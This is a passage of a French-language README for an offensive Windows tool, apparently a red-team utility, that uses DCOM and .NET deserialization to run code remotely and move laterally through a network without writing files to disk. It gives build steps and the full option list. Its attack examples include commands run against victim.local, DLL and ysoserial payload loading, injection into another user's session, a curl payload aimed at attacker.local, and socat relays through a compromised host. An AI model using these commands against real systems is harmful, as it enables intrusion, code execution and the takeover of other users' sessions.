
DCOM en mémoire et techniques de mouvement latéral sans fichier via la désérialisation .Net
Technique de mouvement latéral Windows sans fichier (fileless).
Introduction • Compilation • Utilisation • Détails techniques • Remerciements
Cet outil permet d'exécuter du code à distance sur une machine Windows, à condition de disposer de privilèges administratifs. Il exploite DCOM et le comportement des serveurs DCOM .NET, qui désérialisent automatiquement les objets entrants. Cela permet d'exécuter des commandes arbitraires ou de charger des DLL sans rien écrire sur le disque.
Découverte à l'origine par James Forshaw comme technique d'élévation de privilèges, cette méthode a été adaptée pour le mouvement latéral en modifiant à distance des clés de registre spécifiques. Elle prend également en charge l'exploitation inter-sessions via DCOM, permettant d'exécuter des commandes arbitraires dans la session d'un autre utilisateur, sous le contexte de sécurité de cette session.
Elle fonctionne sur les postes de travail et les serveurs, mais un accès réseau entre la machine cible et une machine contrôlée par l'attaquant est requis pour que cette technique fonctionne.
Plus de détails dans cette section.
Une release est disponible, ou vous pouvez la compiler manuellement :
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
Un accès administratif est requis à la fois sur la machine de l'attaquant (via un shell élevé) et sur la machine cible pour utiliser cet outil avec succès.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionComme expliqué précédemment, une session peut être spécifiée pour exécuter une commande arbitraire dans la session d'un autre utilisateur.
[!WARNING] Cela ne fonctionne qu'avec les AppID configurés pour s'exécuter sous l'identité de l'utilisateur interactif. Ceci est géré automatiquement, il n'est pas nécessaire de spécifier l'argument
--appid, car l'outil utilisera par défaut l'AppID associé aux User Account Control Settings.
[!IMPORTANT] Ne fonctionne que si la machine de l'attaquant est jointe à un domaine, plus de détails ici.
--list-sessionsListe les sessions interactives et actives à distance sur la cible à l'aide de WTSEnumerateSessions.
--listenSi la machine cible ne peut pas joindre directement la machine de l'attaquant, l'exploit échouera. Il est toutefois possible de spécifier une machine intermédiaire à laquelle la cible peut se connecter. À l'aide d'outils comme socat, le trafic peut ensuite être relayé de cet intermédiaire vers la machine de l'attaquant.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidLorsque l'exploit est exécuté depuis un shell runas /netonly, l'identité associée ne peut pas être récupérée automatiquement. Il est donc nécessaire de la fournir explicitement à l'aide de l'option --attacker-sid pour que l'attaque réussisse.
--exec--exec peut être utilisé avec --exec-args pour exécuter des binaires arbitraires sur la cible :
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execn'est qu'un wrapper autour de cela, le même résultat peut être obtenu avec :--ps-exec calc
--curl